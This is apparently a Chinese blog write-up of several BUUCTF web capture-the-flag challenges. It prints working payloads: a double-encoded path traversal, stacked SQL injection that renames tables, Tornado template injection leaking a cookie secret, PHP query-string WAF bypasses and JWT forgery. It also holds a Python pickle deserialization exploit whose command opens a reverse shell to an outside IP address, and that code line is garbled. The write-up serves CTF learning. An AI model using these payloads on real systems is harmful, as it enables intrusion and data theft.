BUUCTF平台web writeup

原创

a370793934 于 2019-11-28 08:59:36 发布 745 收藏 3
分类专栏： WriteUp 文章标签： BUUCTF web writeup ctf

[HCTF 2018]WarmUp

首先f12查看源码，发现一个hint：

于是访问source.php，得到审计的源代码：

```
<?php
  highlight_file(__FILE__);
  class emmm
  {
     public static function checkFile(&$page)
     /*
     传入了变量page，也就是我们刚刚传进来的file
     */
     {
          // 这里定义了白名单
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
        if (! isset($page) || !is_string($page)) {
        /*2
        为了返回 true 两个条件必须满足
             1 page存在
             2 page是字符串 ，
             这里和外层的判断file 一致基本是再次判断了一遍
        */
          echo "you can't see it";
```

```
        return false;
    }
/*3
in_array(search,array,type) 函数搜索数组中是否存在指定的值，
白名单过滤，需要返回了ture
所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php，
这里是正常的访问，我们需要构造文件任意包含，所以这里传入的不满足条件，这里不是注意的点，往下继续看
*/
    if (in_array($page, $whitelist)) {
        return true;
    }
/*
这里mb_sustr 是个截断，返回0到mb_strpos之间的内容，而mb_strps 则是查找第一次出现的位置，
所以基本可以理解为获取page 两个？之间的字符串，
也就是获取file两个？之间的字符串，
放到url中就是http://ip/?file=ddd?中的file=ddd

    */
    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?',  '?')
    );
    if (in_array($_page, $whitelist)) {
    //' 6 这里和上面类似 查看_page 是否在白名单中
        return true;
    }

    $_page = urldecode($page); // 这里发现对_page进行了一次decode解码，
    $_page = mb_substr(//获取两个？？之间的内容
```

```
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        // 这里是我们要绕过的点，从这里往上看 尝试构造
        if (in_array($_page, $whitelist)) {//白名单
            return true;
        }
        echo "you can't see it";
        return false;
    }
}
/*1
必须满足if条件，才能包含file，这里也可以猜到可能考的是文件包含：
1 REQUEST['file']不为空
2 REQUEST['file']是字符串
3 checkFile($_REQUEST['file']) 为ture，回到checkFile 函数分析如何返回true
*/
if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
) {
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
```

又发现了一个hint.php文件，访问后的确有一个hint，提示我们flag在ffffllllaaaagggg文件中：

回过头继续看代码，其中有几个函数：

mb_strpos($string, $a)：查找字符串a在字符串string中首次出现的位置，起始位置以0开始；

mb_substr($string, $start, $end)：在字符串string中截取以start开始，以end结尾的子串；

通读代码后我们发现，如果想要得到fffflllllaaaagggg文件的内容，需要让**$_REQUEST['file']**是fffflllllaaaagggg，并且checkFile（fffflllllaaaagggg）返回true；

可以让checkFile返回true的出口一共有三个，总结起来就是：

访问的文件是source.php或者hint.php（也就是白名单里的本来就让你访问到的；

截取文件名的第一个 ？之前的内容，该内容必须是source.php或者hint.php

经过url解码后截取文件名的第一个 ？之前的内容，该内容必须是source.php或者hint.php

这里就用到了PHPMyadmin4.81的漏洞了，详细的说明看这里：
https://blog.csdn.net/Mikasa_/article/details/88594749

这个漏洞利用了一个性值：如果将 ？双重编码，经过包含时会把你包含的文件当作一个目录，也就是说，如果你写入：

hint.php%25%3F（%25%3F是?的二次编码）

那么解析时会把hint.php当作一个目录来看。

至于要向上回退多少个目录再访问fffflllllaaaagggg我还不知道为什么……（求大佬解答）只是一直尝试，回退4个以上即可成功。

于是该题的payload可以是：

http://dd8978c5-6def-4097-8282-ff27c6c611a3.node3.buuoj.cn/?file=source.php%253f/../../../../fffflllllaaaagggg

返回flag

flag{b7ecb77d-93a6-44fd-bda8-bf59f20ef0ce}

[强网杯 2019]随便注

堆叠注入

1‘ //首先尝试的加引号，报错了

1’ # //正常

1‘ order by 1 # //用order by 测试得到列数为2

1' union select 1,2 # //回显了过滤规则 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

知识点：堆叠注入

查库

0';show databases#

查表

0';show tables#

查表结构

0';desc words#

0';desc `1919810931114514`#

words表中有两列分别为'id'，'data'，1919810931114514表中有一列名为'flag'。根据列名猜测1919810931114514表中储存了flag，同时根据刚开始时输入参数inject=1时的查询结果有两个，猜测sql语句查询所用到的表为words，但是由于过滤了select等关键字，无法直接对其进行查询。

接下来就不知道怎么办了，再看wp，发现了一顿骚操作。

既然原sql语句是对words表中的id和data列进行查询，那么我们将words表改成其他名字，然后把1919810931114514表改名为words，并将其中flag列改名为words，再加入id列，即可利用原语句对flag进行查询。

构造url：

最终payload

0';alter table words rename to word;alter table`1919810931114514` rename to words;alter table words change flag data varchar(100);alter table words add column id int(10) default 1#

再查询默认的1得到

```
array(2) {
  [0]=>
  string(42) "flag{145d7c47-5712-43f4-b676-a2dbf541627f}"
  [1]=>
  string(1) "1"
}
```

easy_tornado

进入题目网站，发现三个文件

首先进入第一个文件Orz.txt，发现提示渲染函数render()，直接将文件内容显示在网页上

再进入第二个文件hint.txt，发现提示md5(cookie_secret + md5(filename))，即先将filenamemd5加密，再将cookie_secret与md5加密后的filename进行md5加密，也就是说，目前我们需要知道的是filename和cookie_secret

之后，再进入第三个文件flag.txt，发现提示像文件名/fllllllllllag，

于是考虑filename=/fllllllllllag

但是提示有签名错误，发现/error?msg=签名错误，考虑服务端模板注入（ssti攻击）

尝试输入/error?msg={{1}}，确实是存在模板注入

尝试输入/error?msg={{7*7}}，不存在运算

orz

之后进行各种尝试与资料获取发现对于tornado框架存在附属文件handler.settings,于是尝试输入/error?msg={{handler.settings}}

发现 ‘cookie_secret’:

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '2ee0d4c3-663d-40fb-aa50-2ab73cae1235'}

于是进行前面所分析的md5加密

最后输入file?filename=/fllllllllllag&signature=8dd637d380f9eea67c561ecd8d96ee02

得到flag

md5计算脚本：

```
#coding:utf-8
import hashlib
def md5value(s):
    md5 = hashlib.md5()
    md5.update(s.encode())
    return md5.hexdigest()
def mdfive2():
    filename = '/fllllllllllag'
    cookie = r"125be478-eae4-435a-998e-aabcb9bfce95"
    #print(md5value(filename))
    # print(md5value('*c].)Y!x<kr1e2_oQ(zO6Xd5D9ZKw7lPCs#4h~R-JFa3Vp8B0N>%+WgjHbvfM@[U'))
    # print("+md5value(filename))
    print(md5value(cookie + md5value(filename)))#hints md5(cookie_secret+md5(filename))
mdfive2()
```

/fllllllllllag

flag{7e4d9c0b-fd41-429a-ab04-f0e18c0bfd69}

[SUCTF 2019]EasySQL

一、涉及知识点

1、堆叠注入

2、set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符

3、没有过滤*的时候可以直接注入*

二、解题方法

这道题没猜到逻辑是select $_POST[query] || flag from flag,

构造payload：*,1

或者

1;set sql_mode=PIPES_AS_CONCAT;select 1

flag{1eb8eb21-f5f2-4d9d-ab5f-f9748e01f2a1}

[RoarCTF 2019]Easy Calc1

1.知识点 PHP的字符串解析特性

这是别人对PHP字符串解析漏洞的理解，

我们知道PHP将查询字符串（在URL或正文中）转换为内部$_GET或的关联数组$_POST。例如：/?foo=bar变成Array([foo] => “bar”)。值得注意的是，查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如，/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截，那么我们就可以用以下语句绕过：

/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

PHP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事：

1.删除空白符

2.将某些字符转换为下划线（包括空格）

我的理解：

假如waf不允许num变量传递字母：

http://www.xxx.com/index.php?num = aaaa //显示非法输入的话

那么我们可以在num前加个空格：

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了，因为现在的变量叫“ num”，而不是“num”。但php在解析的时候，会先把空格给去掉，这样我们的代码还能正常运行，还上传了非法字符。

1.2waf

原来waf我们是看不见的，我一直以为题里的源码，就是waf了。并且，waf并不是说，题目是用php写的，那么waf就一定是用php写的。也正因如此，这题的waf才会无法识别“ num”和“num”其实是一样的。

1.3 scandir()

列出 参数目录 中的文件和目录，要不然我们怎么知道flag在哪。

2.应用

存在高危漏洞，很明显传递函数，拿flag。

首先我们要先扫根目录下的所有文件，也就是是scandir("/"),但是“/”被过滤了，所以我们用chr(47)绕过,发现flagg文件

http://node3.buuoj.cn:28317/calc.php? num=1;var_dump(scandir(chr(47)))

http://node3.buuoj.cn:28317/calc.php?
num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

返回

1string(43) "flag{d0902eb4-aca8-455b-97f4-3eadc6e15b3b} "

[RoarCTF 2019]Easy Java

WEB-INF/web.xml泄露

WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件，必须通过web.xml文件对要访问的文件进行相应映射才能访问。

/WEB-INF/web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/：含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar 文件中

/WEB-INF/lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/：源码目录，按照包名结构放置各个java文件。

/WEB-INF/database.properties：数据库配置文件

查看源码点击发现

http://25cf1685-703e-4436-aafb-9a303ad1d548.node3.buuoj.cn/Download?filename=help.docx

变更请求方法下载

filename=WEB-INF/web.xml

再次变更请求方法下载

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

打开发现里面有串base64加密字符串，解密得到flag

flag{16b4b558-0c20-4e72-81c8-becf93173d30}

[CISCN2019 华北赛区 Day1 Web2]ikun

一、涉及知识点

1、薅羊毛逻辑漏洞

可以通过抓包修改折扣等数据来购买

2、jwt-cookies伪造

解析jwt：

https://jwt.io/

爆破密钥：

c-jwt-cracker

Python反序列化

新世界的大门！

Python反序列化漏洞的花式利用

（Python）cPickle反序列化漏洞

关于Python sec的一些简单的总结

二、解题方法

薅羊毛逻辑漏洞

Cookie伪造 -> JWT

python反序列化 -> 反弹shell

打开题目是这样一个页面

其实最初的题目这个募集资金的进度条是没有刷满的，注册小号刷满即可

这就是一个薅羊毛的逻辑漏洞

看最下边的提示 -> 一定要买到 lv6

翻了下前几页，没有lv6这个图片，一共有500百页

写个搜索脚本：

```
import requests
url = "http://f4ff054b-aef2-4d47-8886-c4609793ad6b.node3.buuoj.cn/"
for i in range(1,501):
    r = requests.get(url + "shop?page=" + str(i))
```

```
    print(i)
    if r.text.find("lv6.png") != -1:
        print("this page:"+str(i))
        break
```

查到在181页

买lv6，但是这麽多钱，买不起咋办？

审计页面的HTML代码有个优惠折扣，把它改到很小

跳到了这样一个页面

关于JWT—Cookie伪造的原理请自行查阅

爆破密钥

工具：c-jwt-cracker

有个网站https://jwt.io/

可以在这里伪造Cookie，把用户改为admin，密钥为上边破解出来的 "1kun"

抓包改JWT的值，发现一个源码www.zip，下载下来

Admin.py中有个反序列化的点

构造反弹shell的payload：

```
#coding:utf-8
import pickle
import urllib
import os

class exp(object):
    def __reduce__(self):
        s="""python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8
i"]);' """
        return os.system, (s,)

e=exp()
```

```
poc = pickle.dumps(e)
print poc
```

生成payload：

这个界面有个隐藏表单，把生成的payload URL编码放进去提交

本机(攻击机)nc监听，拿到一个shell，flag在根目录下

flag{86rm4mj8hukk5wbkc50c34e8h3wirs2y}

待续